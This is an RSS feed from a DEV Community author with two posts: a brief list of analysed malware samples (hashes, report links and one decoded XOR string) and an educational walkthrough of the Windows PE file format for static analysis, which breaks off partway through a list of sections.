<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Dimitar </title>
    <description>The latest articles on DEV Community by Dimitar  (@syrull).</description>
    <link>https://dev.to/syrull</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F639757%2F295bcf95-dab8-46a7-bba6-63b6b5b017d7.png</url>
      <title>DEV Community: Dimitar </title>
      <link>https://dev.to/syrull</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/syrull"/>
    <language>en</language>
    <item>
      <title>Malware Samples - Some challenges from 2022</title>
      <dc:creator>Dimitar </dc:creator>
      <pubDate>Tue, 31 Jan 2023 15:20:23 +0000</pubDate>
      <link>https://dev.to/syrull/malware-samples-some-challenges-from-2022-32f5</link>
      <guid>https://dev.to/syrull/malware-samples-some-challenges-from-2022-32f5</guid>
      <description>&lt;p&gt;Putting up my analysis of some malware samples&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Samples&lt;/th&gt;
&lt;th&gt;Report&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;5dee718c386934d2494ee5ddde79d27a69c1687493b6eb40d0db47f730ab76fb&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://sy1.sh/malware-analysis/Sample_5dee71.pdf" rel="noopener noreferrer"&gt;View&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;6fd9909f8ec811577351402832665d4a6b6e5399422b8cac79dd98532ac48913&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://sy1.sh/malware-analysis/Sample_6fd990.pdf" rel="noopener noreferrer"&gt;View&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;19a3dd8024bb4677261ecd8bb85e8a4c53d15870e4b9d2203e933a00b7eecb85&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://sy1.sh/malware-analysis/Sample_19a3dd.pdf" rel="noopener noreferrer"&gt;View&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;280d2ceb081745412127a018055234f5a72935a77aa102aef7924ba21f43d4ee&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://sy1.sh/malware-analysis/Sample_280d2c.pdf" rel="noopener noreferrer"&gt;View&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;f8c4c946eaedcfa8bbb722970211c2c4a458f6483dafb5d5a7fd83b3daa441cd&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://sy1.sh/malware-analysis/Sample_f8c4c9.pdf" rel="noopener noreferrer"&gt;View&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h1&gt;
  
  
  &lt;code&gt;f8c4c946eaedcfa8bbb722970211c2c4a458f6483dafb5d5a7fd83b3daa441cd&lt;/code&gt;
&lt;/h1&gt;

&lt;p&gt;I eventually found the XOR cipher key, unfortunately my bruteforce script wasn't able to recover the url but in the end the string wasn't exactly an url. The key was &lt;code&gt;en-CB&lt;/code&gt; and the decoded string is &lt;code&gt;c2.2go.ma1w.are_eT!/eab/+CE%&amp;amp;6d&lt;/code&gt;&lt;/p&gt;

</description>
      <category>vibecoding</category>
      <category>playlist</category>
      <category>goodjob</category>
    </item>
    <item>
      <title>Static Analysis Research - Windows PE</title>
      <dc:creator>Dimitar </dc:creator>
      <pubDate>Fri, 06 Jan 2023 14:45:08 +0000</pubDate>
      <link>https://dev.to/syrull/static-analysis-research-windows-pe-f6b</link>
      <guid>https://dev.to/syrull/static-analysis-research-windows-pe-f6b</guid>
      <description>&lt;h1&gt;
  
  
  Overview
&lt;/h1&gt;

&lt;p&gt;Recently, I decided do delve a little bit more into static analysis, something beyond just running &lt;code&gt;strings&lt;/code&gt; on a binary and getting the ASCII characters that are printable. I decided to take a deep look at how &lt;a href="https://github.com/mandiant/flare-floss"&gt;FLOSS&lt;/a&gt; is working and possibly recreate some of its functionality in my own tool.&lt;/p&gt;

&lt;p&gt;Before reading further, I want you to know that this post is about research I did on static analysis. There is nothing new here - no new tools or features are being discovered. Everything that I talk about already exists in other tools. A big part of this research uses the OpenAI Chat GPT. I made sure to fact-check the information provided here, as the GPT can sometimes produce misleading output.&lt;/p&gt;

&lt;p&gt;My research focuses on &lt;a href="https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/winpe-intro?view=windows-11"&gt;Windows Portable Executable (PE)&lt;/a&gt; files because they are the most common type. Therefore, we'll start by exploring how these files operate.&lt;/p&gt;

&lt;h2&gt;
  
  
  Keywords
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;RVA&lt;/strong&gt; (Relative Virtual Address) - the virtual address of an object from the file once it is loaded into memory, minus the base address of the file image.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IDT&lt;/strong&gt; (Import Directory Table) - is a data structure in a Portable Executable (PE) file that stores information about dynamic-link libraries (DLLs) that the file depends on and the functions that the file imports from those DLLs. &lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ILT&lt;/strong&gt; - is a data structure in a Portable Executable (PE) file that stores the addresses of imported functions in the executable or library.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IAT&lt;/strong&gt; (Import Address Table) - can be the same with &lt;strong&gt;ILT&lt;/strong&gt;, however when a file is being loaded into memory the loader will overwrite the addresses of the &lt;strong&gt;IAT&lt;/strong&gt; with their new memory address locations.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DEP&lt;/strong&gt; (Data Execution Prevention) - is a security feature that is designed to prevent code from being executed in certain areas of memory where it is not supposed to be executed. &lt;a href="https://learn.microsoft.com/en-us/windows/win32/memory/data-execution-prevention"&gt;doc&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ASLR&lt;/strong&gt; (Address Space Layout Randomization) - is a security feature that randomizes the memory locations of certain parts of a program or operating system, making it more difficult for attackers to predict or control where certain code or data is located in memory. &lt;a href="https://en.wikipedia.org/wiki/Address_space_layout_randomization"&gt;wiki&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  Windows Portable Executable (PE)
&lt;/h1&gt;

&lt;p&gt;An executable is a set of binary data that contains instructions for the operating system to execute when the program is loaded into memory. Let's examine how we can manually parse a Portable Executable (PE) file by reading and interpreting the bytes it contains. To do this, we must carefully review the binary data in the PE file and try to make sense of it.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The term &lt;strong&gt;image&lt;/strong&gt; refers to the contents of a file when it is loaded into memory. You will encounter this term frequently in the explanations below.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  DOS Header
&lt;/h2&gt;

&lt;p&gt;The first 64 bytes of a binary file represent the DOS header, which is included for backwards compatibility and does not directly affect the functioning of the Portable Executable (PE). These 64 bytes contain information such as the number of pages in the file, the number of relocations, the checksum, OEM identifiers, and reserved words. The last 4 bytes of the DOS header, &lt;code&gt;e_lfanew&lt;/code&gt;, contain the offset or address of the new PE header in modern Windows applications.&lt;/p&gt;

&lt;p&gt;The first two bytes of an executable file, &lt;code&gt;4D 5A&lt;/code&gt; which translates to &lt;code&gt;MZ&lt;/code&gt; in ASCII, serve as an indicator that the file is an executable intended for use on a Windows operating system.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="http://4d5asecurity.com/why-4d5a"&gt;Why &lt;code&gt;4D 5A&lt;/code&gt;?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  DOS Stub / Rich Header
&lt;/h2&gt;

&lt;p&gt;Following the first 64 bytes is the DOS Stub, a small program that displays an error message on systems that are not compatible with MS-DOS. This is a legacy feature dating back to the early days of Windows, when the operating system was built on top of MS-DOS.&lt;/p&gt;

&lt;p&gt;The Rich Header, on the other hand, is not a required or standard part of the Portable Executable (PE) file format. It contains metadata about the compiler or packer that was used to create the executable and may provide additional information about the file. The magic number for the Rich Header is &lt;code&gt;52 69 63 68&lt;/code&gt;, which translates to &lt;code&gt;Rich&lt;/code&gt; in ASCII.&lt;/p&gt;

&lt;p&gt;The Rich Header information is encrypted using the XOR cipher, which can be easily decrypted using the 4 bytes immediately following the Rich ASCII which is the key. &lt;/p&gt;

&lt;p&gt;To decrypt the rest of the header, we must run the XOR decipher on the file and unmask the value &lt;code&gt;44 61 6E 53&lt;/code&gt;, which translates to "DanS" in ASCII. This marks the beginning of the Rich Header, which is then followed by 3 &lt;code&gt;0s&lt;/code&gt; after deciphering. &lt;/p&gt;

&lt;p&gt;With this information, we can determine the start and end of the Rich Header and parse it accordingly.&lt;/p&gt;

&lt;p&gt;The header can contain data about:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Compiler and build environment information&lt;/li&gt;
&lt;li&gt;Timestamps&lt;/li&gt;
&lt;li&gt;Checksums&lt;/li&gt;
&lt;li&gt;Other metadata&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The Rich Header is a very interesting topic that I would like to write more about, until then you can read the following articles.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/"&gt;VB2019 paper: Rich Headers: leveraging this mysterious artifact of the PE format&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://securelist.com/the-devils-in-the-rich-header/84348/"&gt;The devil’s in the Rich header&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  NT Headers (New Technology)
&lt;/h2&gt;

&lt;p&gt;If we follow the offset indicated in the last two bytes of the DOS header, we will reach the new PE headers (also known as NT headers). These headers are identified by the 4-byte magic number &lt;code&gt;50 45 00 00&lt;/code&gt;, which translates to &lt;code&gt;PE..&lt;/code&gt; in ASCII. This magic number is used to distinguish the PE headers from other types of headers.&lt;/p&gt;

&lt;p&gt;The structure of the &lt;code&gt;_IMAGE_NT_HEADERS64&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;_IMAGE_NT_HEADERS64&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;Signature&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;IMAGE_FILE_HEADER&lt;/span&gt; &lt;span class="n"&gt;FileHeader&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;IMAGE_OPTIONAL_HEADER64&lt;/span&gt; &lt;span class="n"&gt;OptionalHeader&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;IMAGE_NT_HEADERS64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;PIMAGE_NT_HEADERS64&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The structure of &lt;code&gt;_IMAGE_FILE_HEADER&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;_IMAGE_FILE_HEADER&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;WORD&lt;/span&gt;  &lt;span class="n"&gt;Machine&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Predefined value [IMAGE_FILE_MACHINE_I386 or IMAGE_FILE_MACHINE_AMD64]&lt;/span&gt;
    &lt;span class="n"&gt;WORD&lt;/span&gt;  &lt;span class="n"&gt;NumberOfSections&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
    &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;TimeDateStamp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Timestamp of which the executable was compiled or linked&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;PointerToSymbolTable&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// The offset to the COFF Symbol Table&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;NumberOfSymbols&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// The number of symbols in the COFF Header&lt;/span&gt;
    &lt;span class="n"&gt;WORD&lt;/span&gt;  &lt;span class="n"&gt;SizeOfOptionalHeader&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;WORD&lt;/span&gt;  &lt;span class="n"&gt;Characteristics&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#characteristics&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;IMAGE_FILE_HEADER&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;PIMAGE_FILE_HEADER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/COFF"&gt;What is COFF?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The structure of &lt;code&gt;_IMAGE_OPTIONAL_HEADER&lt;/code&gt;, this structure is "optional" but in fact most of the PE files contains this header.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;_IMAGE_OPTIONAL_HEADER&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;WORD&lt;/span&gt;                 &lt;span class="n"&gt;Magic&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
  &lt;span class="n"&gt;BYTE&lt;/span&gt;                 &lt;span class="n"&gt;MajorLinkerVersion&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;BYTE&lt;/span&gt;                 &lt;span class="n"&gt;MinorLinkerVersion&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;DWORD&lt;/span&gt;                &lt;span class="n"&gt;SizeOfCode&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// .text section size&lt;/span&gt;
  &lt;span class="n"&gt;DWORD&lt;/span&gt;                &lt;span class="n"&gt;SizeOfInitializedData&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// .data section size&lt;/span&gt;
  &lt;span class="n"&gt;DWORD&lt;/span&gt;                &lt;span class="n"&gt;SizeOfUninitializedData&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// .bss section size &lt;/span&gt;
  &lt;span class="n"&gt;DWORD&lt;/span&gt;                &lt;span class="n"&gt;AddressOfEntryPoint&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// 0 if a DLL because its optional otherwise it indicates the RVA (Relative Virtual Address) it is used to determine the address of elements within the file (strings, icons etc.)&lt;/span&gt;
  &lt;span class="n"&gt;DWORD&lt;/span&gt;                &lt;span class="n"&gt;BaseOfCode&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// The RVA is the base address of the code section loaded in memory&lt;/span&gt;
  &lt;span class="n"&gt;DWORD&lt;/span&gt;                &lt;span class="n"&gt;BaseOfData&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// The RVA for the base address of the data section&lt;/span&gt;
  &lt;span class="n"&gt;DWORD&lt;/span&gt;                &lt;span class="n"&gt;ImageBase&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// This indicates the prefered address at which the file is intended to be loaded in memory, almost never used address instead the PE Loader looks for unused memory space to load the image.&lt;/span&gt;
  &lt;span class="n"&gt;DWORD&lt;/span&gt;                &lt;span class="n"&gt;SectionAlignment&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Sections are aligned in memory boundaries that are multiples of this value&lt;/span&gt;
  &lt;span class="n"&gt;DWORD&lt;/span&gt;                &lt;span class="n"&gt;FileAlignment&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Raw data alignment on disk&lt;/span&gt;
  &lt;span class="n"&gt;WORD&lt;/span&gt;                 &lt;span class="n"&gt;MajorOperatingSystemVersion&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
  &lt;span class="n"&gt;WORD&lt;/span&gt;                 &lt;span class="n"&gt;MinorOperatingSystemVersion&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
  &lt;span class="n"&gt;WORD&lt;/span&gt;                 &lt;span class="n"&gt;MajorImageVersion&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
  &lt;span class="n"&gt;WORD&lt;/span&gt;                 &lt;span class="n"&gt;MinorImageVersion&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
  &lt;span class="n"&gt;WORD&lt;/span&gt;                 &lt;span class="n"&gt;MajorSubsystemVersion&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
  &lt;span class="n"&gt;WORD&lt;/span&gt;                 &lt;span class="n"&gt;MinorSubsystemVersion&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
  &lt;span class="n"&gt;DWORD&lt;/span&gt;                &lt;span class="n"&gt;Win32VersionValue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Reserved (for future use) must be 0, ensures that the file is compatible with the current system&lt;/span&gt;
  &lt;span class="n"&gt;DWORD&lt;/span&gt;                &lt;span class="n"&gt;SizeOfImage&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// It gets rounded to a multiple of `SectionAlignment`&lt;/span&gt;
  &lt;span class="n"&gt;DWORD&lt;/span&gt;                &lt;span class="n"&gt;SizeOfHeaders&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Sum(DOS Stub, NT Headers, Section Headers)&lt;/span&gt;
  &lt;span class="n"&gt;DWORD&lt;/span&gt;                &lt;span class="n"&gt;CheckSum&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Checksum of the Image&lt;/span&gt;
  &lt;span class="n"&gt;WORD&lt;/span&gt;                 &lt;span class="n"&gt;Subsystem&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Refer to documentation for this one&lt;/span&gt;
  &lt;span class="n"&gt;WORD&lt;/span&gt;                 &lt;span class="n"&gt;DllCharacteristics&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Refer to documentation for this one&lt;/span&gt;
  &lt;span class="n"&gt;DWORD&lt;/span&gt;                &lt;span class="n"&gt;SizeOfStackReserve&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;DWORD&lt;/span&gt;                &lt;span class="n"&gt;SizeOfStackCommit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;DWORD&lt;/span&gt;                &lt;span class="n"&gt;SizeOfHeapReserve&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;DWORD&lt;/span&gt;                &lt;span class="n"&gt;SizeOfHeapCommit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;DWORD&lt;/span&gt;                &lt;span class="n"&gt;LoaderFlags&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Obsolete refering to documentation, 0&lt;/span&gt;
  &lt;span class="n"&gt;DWORD&lt;/span&gt;                &lt;span class="n"&gt;NumberOfRvaAndSizes&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Size of DataDirectory below&lt;/span&gt;
  &lt;span class="n"&gt;IMAGE_DATA_DIRECTORY&lt;/span&gt; &lt;span class="n"&gt;DataDirectory&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;IMAGE_NUMBEROF_DIRECTORY_ENTRIES&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="c1"&gt;// This contains the addresses of the Export/Import Directories, the Base Relocation table and so on. It is a constant of `16`.&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;IMAGE_OPTIONAL_HEADER32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;PIMAGE_OPTIONAL_HEADER32&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I've written some quick comments on each of the fields however since that struct is lengthy and well documented you can check the &lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header32"&gt;fields here&lt;/a&gt; as well.&lt;/p&gt;

&lt;p&gt;Here is the the list of Data Directories entries:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;&lt;span class="cp"&gt;#define IMAGE_DIRECTORY_ENTRY_EXPORT          0   // Export Directory
#define IMAGE_DIRECTORY_ENTRY_IMPORT          1   // Import Directory
#define IMAGE_DIRECTORY_ENTRY_RESOURCE        2   // Resource Directory
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION       3   // Exception Directory
#define IMAGE_DIRECTORY_ENTRY_SECURITY        4   // Security Directory
#define IMAGE_DIRECTORY_ENTRY_BASERELOC       5   // Base Relocation Table
#define IMAGE_DIRECTORY_ENTRY_DEBUG           6   // Debug Directory
&lt;/span&gt;&lt;span class="c1"&gt;//      IMAGE_DIRECTORY_ENTRY_COPYRIGHT       7   // (X86 usage)&lt;/span&gt;
&lt;span class="cp"&gt;#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE    7   // Architecture Specific Data
#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR       8   // RVA of GP
#define IMAGE_DIRECTORY_ENTRY_TLS             9   // TLS Directory
#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG    10   // Load Configuration Directory
#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT   11   // Bound Import Directory in headers
#define IMAGE_DIRECTORY_ENTRY_IAT            12   // Import Address Table
#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   13   // Delay Load Import Descriptors
#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14   // COM Runtime descriptor
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Sections Headers
&lt;/h2&gt;

&lt;p&gt;The section headers are stored in the NT Headers. And the structure of the &lt;code&gt;IMAGE_SECTION_HEADER&lt;/code&gt; looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;_IMAGE_SECTION_HEADER&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;BYTE&lt;/span&gt;  &lt;span class="n"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;IMAGE_SIZEOF_SHORT_NAME&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;PhysicalAddress&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;VirtualSize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;Misc&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;VirtualAddress&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;SizeOfRawData&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;PointerToRawData&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;PointerToRelocations&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;PointerToLinenumbers&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;WORD&lt;/span&gt;  &lt;span class="n"&gt;NumberOfRelocations&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;WORD&lt;/span&gt;  &lt;span class="n"&gt;NumberOfLinenumbers&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;Characteristics&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;IMAGE_SECTION_HEADER&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;PIMAGE_SECTION_HEADER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;&lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_section_header"&gt;Source and Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#section-table-section-headers"&gt;PE Format&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The sections of a Portable Executable (PE) file contain various types of data, such as code, data, resources, and other information. The headers of the file are used to specify the characteristics of these sections, such as whether they contain executable code, initialized data, uninitialized data, or other types of information.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Tip&lt;/strong&gt;: You can detect if a PE file has been packed by comparing the values of the &lt;code&gt;VirtualSize&lt;/code&gt; and &lt;code&gt;SizeOfRawData&lt;/code&gt; fields in the headers. If the &lt;code&gt;VirtualSize&lt;/code&gt; is significantly larger than the &lt;code&gt;SizeOfRawData&lt;/code&gt;, it is a strong indication that the file has been packed. However, it is worth noting that there may be some discrepancy between the two values due to section padding and alignment.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Sections
&lt;/h2&gt;

&lt;p&gt;Sections are where the actual data of the file is. There are &lt;a href="https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#special-sections"&gt;Special Sections&lt;/a&gt; as well but we will focus only on the reserved sections such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;.bss - Uninitialized data (free format)&lt;/li&gt;
&lt;li&gt;.data - Initialized data (free format)&lt;/li&gt;
&lt;li&gt;.cormeta - CLR metadata that indicates that the object file contains managed code&lt;/li&gt;
&lt;li&gt;.debug (following with)

&lt;ul&gt;
